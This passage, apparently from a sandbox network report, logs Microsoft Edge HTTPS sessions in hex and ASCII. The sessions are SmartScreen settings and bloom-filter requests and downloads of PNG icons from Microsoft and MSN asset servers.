zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49804	52.159.108.190	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:51 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiV1poQzd0cGxiUHlyd2czMXErZHNNUT09IiwgImhhc2giOiJHZnVySGFFMENGdz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-24 18:11:51 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-24 18:11:52 UTC	248	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:52 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-24 18:11:52 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49805	52.159.108.190	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:52 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiRXBZbmx2OHdIYVVWS3RxOXB0QWFFUT09IiwgImhhc2giOiJkcnFpVFJobDk2dz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-24 18:11:52 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-24 18:11:52 UTC	302	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:52 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-24 18:11:52 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-24 18:11:53 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-24 18:11:53 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49808	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	523	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:55 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 2bef5e78-b01e-0013-7e9c-3e5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181154Z-178bfbc474bv587zhC1NYCny5w000000064g00000000d721 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49799	23.209.72.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
2024-11-24 18:11:54 UTC	1003	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Sun, 24 Nov 2024 18:11:54 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.152,b=1027807329,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.152 Akamai-Request-ID: 3d431861 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9804d217.1732471914.3d431861 Vary: Origin
2024-11-24 18:11:54 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49810	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:55 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: babfa74a-801e-0039-719c-3e28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181154Z-15b8b599d88l2dpthC1TEBmzr000000004ng00000000kghe Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49809	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:54 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 9c8cec2d-301e-006f-72d6-3dc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181154Z-178bfbc474b9fdhphC1NYCac0n000000065000000000kgqs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49812	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

